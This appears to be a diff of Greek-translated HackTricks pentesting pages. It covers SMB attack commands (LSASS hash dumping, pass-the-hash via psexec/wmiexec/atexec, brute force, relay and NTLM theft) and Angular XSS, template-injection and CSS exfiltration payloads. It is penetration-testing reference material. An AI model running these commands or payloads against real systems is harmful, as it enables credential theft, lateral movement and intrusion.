crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στη μηχανή του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα επιχειρήματα το payload --**file-less technique-**-).\
**Περισσότερες πληροφορίες** σχετικά με [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)και [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Αθόρυβα εκτελέστε ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκτελέσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **θύρας 135.**\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Χρησιμοποιώντας **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Εκτέλεση εντολών μέσω του Προγραμματιστή Εργασιών (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket αναφορά
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce διαπιστευτήρια χρηστών**
**Αυτό δεν συνιστάται, μπορεί να αποκλείσετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\
[**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Η βιβλιοθήκη Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον υπολογιστή όταν μια σελίδα προσπαθεί να αποκτήσει πρόσβαση σε κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
Αυτό συμβαίνει με τις συναρτήσεις:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Οι οποίες χρησιμοποιούνται από ορισμένους περιηγητές και εργαλεία (όπως το Skype)
![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap using MitMf
![Από: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM Theft
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[Δείτε: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,24 +1,26 @@
# Angular
{{#include /banners/hacktricks-training.md}}
## The Checklist
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή
* [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου
* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαμεσολαβείται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαστρεβλώνεται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
* [ ] Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη
* [ ] Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή
* [ ] Οι μέθοδοι `BypassSecurity*` δεν χρησιμοποιούνται με μη αξιόπιστη είσοδο
* [ ] Η μη αξιόπιστη είσοδος χρήστη δεν μεταβιβάζεται σε κλάσεις Angular όπως `ElementRef`, `Renderer2` και `Document`, ή άλλες πηγές JQuery/DOM
* [ ] Η μη αξιόπιστη είσοδος χρήστη δεν περνά σε κλάσεις Angular όπως `ElementRef`, `Renderer2` και `Document`, ή άλλες πηγές JQuery/DOM
## What is Angular
Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις ασφαλιστικές παρατηρήσεις σημαντικές από **και τις δύο πλευρές**.
Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις παρατηρήσεις ασφαλείας σημαντικές από **και τις δύο πλευρές**.
## Framework architecture
Για να κατανοήσουμε καλύτερα τα βασικά του Angular, ας περάσουμε από τις βασικές του έννοιες.
Για να κατανοήσουμε καλύτερα τις βασικές έννοιες του Angular, ας περάσουμε από τις βασικές του έννοιες.
Ένα κοινό έργο Angular συνήθως φαίνεται έτσι:
```bash
@ -41,15 +43,15 @@ my-workspace/
```
Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`.
Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`.
Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή περιέχει συνήθως πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`.
Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`.
Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.
Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.
## Ρύθμιση sourcemap
Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:
Το πλαίσιο Angular μεταφράζει τα αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:
```json
"sourceMap": {
"scripts": true,
@ -58,9 +60,9 @@ my-workspace/
"hidden": false
}
```
Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.
Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν είναι ενεργοποιημένα τα sourcemaps, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.
Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, εάν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά την κατασκευή του έργου όπως `ng build --source-map`.
Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, εάν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά τη διάρκεια της κατασκευής του έργου όπως `ng build --source-map`.
## Δεσμεύσεις δεδομένων
@ -68,24 +70,24 @@ my-workspace/
Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων:
* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει αρεμβολή_, _ιδιότητες_, _ατομικά χαρακτηριστικά_, _κλάσεις_ και _στυλ_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο;
* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει αρεμβολή_, _ιδιότητες_, _attributes_, _classes_ και _styles_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο;
* Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει _γεγονότα_); μπορεί να εφαρμοστεί χρησιμοποιώντας `()` στο πρότυπο;
* Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο.
Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας:
Η δέσμευση μπορεί να κληθεί σε ιδιότητες, γεγονότα και attributes, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας:
| ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ |
| -------- | ------------------------------------------------------- | ------------------------------------------------------------------ |
| Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | \<button type="button" (click)="onSave()">Αποθήκευση |
| Δύο κατευθύνσεων | Γεγονός και ιδιότητα | \<input \[(ngModel)]="name"> |
| Ατομικό χαρακτηριστικό | Ατομικό χαρακτηριστικό (η εξαίρεση) | \<button type="button" \[attr.aria-label]="help">βοήθεια |
| Κλάση | Ιδιότητα κλάσης | \<div \[class.special]="isSpecial">Ειδικό |
| Στυλ | Ιδιότητα στυλ | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
| Δύο κατευθύνσεων | Γεγονός και ιδιότητα | \<input \[(ngModel)]="name"> |
| Attribute | Ιδιότητα (η εξαίρεση) | \<button type="button" \[attr.aria-label]="help">βοήθεια |
| Class | ιδιότητα κλάσης | \<div \[class.special]="isSpecial">Ειδικό |
| Style | ιδιότητα στυλ | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Μοντέλο ασφάλειας Angular
Ο σχεδιασμός του Angular περιλαμβάνει κωδικοποίηση ή απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολο να ανακαλυφθούν και να εκμεταλλευτούν ευπάθειες XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για την επεξεργασία δεδομένων:
Ο σχεδιασμός του Angular περιλαμβάνει την κωδικοποίηση ή την απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολο να ανακαλυφθούν και να εκμεταλλευτούν ευπάθειες XSS σε έργα Angular. Υπάρχουν δύο διακριτά σενάρια για την επεξεργασία δεδομένων:
1. Παρεμβολή ή `{{user_input}}` - εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο;
@ -98,7 +100,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
```
Αποτέλεσμα: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Δέσμευση σε ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ ή `[attribute]="user_input"` - εκτελεί απολύμανση με βάση το παρεχόμενο πλαίσιο ασφαλείας.
2. Δέσμευση σε ιδιότητες, attributes, classes και styles ή `[attribute]="user_input"` - εκτελεί απολύμανση με βάση το παρεχόμενο πλαίσιο ασφαλείας.
```jsx
//app.component.ts
@ -187,11 +189,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Ο Angular παρέχει μια μέθοδο `sanitize` για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με `SecurityContext.URL` σε περιεχόμενο HTML δεν παρέχει προστασία από επικίνδυνες τιμές HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.
Ο Angular παρέχει μια μέθοδο `sanitize` για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με `SecurityContext.URL` σε περιεχόμενο HTML δεν παρέχει προστασία κατά των επικίνδυνων τιμών HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.
### Εισαγωγή HTML
Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: `innerHTML`, `outerHTML`, ή `iframe` `srcdoc`. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας `SecurityContext.HTML`. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σενάριο (XSS) δεν είναι.
Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: `innerHTML`, `outerHTML`, ή `iframe` `srcdoc`. Ενώ η δέσμευση σε αυτά τα attributes ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας `SecurityContext.HTML`. Έτσι, η εισαγωγή HTML είναι δυνατή, αλλά η διασταυρούμενη σενάριο (XSS) δεν είναι.
Παράδειγμα χρήσης `innerHTML`:
```jsx
@ -210,15 +212,15 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
<div><h1>test</h1></div>
<div><h1>δοκιμή</h1></div>
### Template injection
### Εισαγωγή προτύπων
#### Client-Side Rendering (CSR)
#### Απόδοση πελάτη (CSR)
Το Angular εκμεταλλεύεται τα templates για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την τοποθέτηση εκφράσεων template για να αξιολογηθούν από το Angular μέσα σε διπλές αγκύλες (`{{}}`). Με αυτόν τον τρόπο, το framework προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα template όπως το `{{1+1}}` θα εμφανίζεται ως 2.
Το Angular εκμεταλλεύεται τα πρότυπα για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την περιτύλιξη εκφράσεων προτύπων για να αξιολογηθούν από το Angular μέσα σε διπλές αγκύλες (`{{}}`). Με αυτόν τον τρόπο, το πλαίσιο προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα πρότυπο όπως `{{1+1}}` θα εμφανίζεται ως 2.
Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις template (π.χ., χαρακτήρες όπως \`< > ' " \`\`). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση template injection μπορεί να φαίνεται ως εξής:
Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις προτύπων (π.χ., χαρακτήρες όπως \`< > ' " \`\`). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση εισαγωγής προτύπων μπορεί να φαίνεται ως εξής:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -233,7 +235,7 @@ template: '<h1>title</h1>' + _userInput
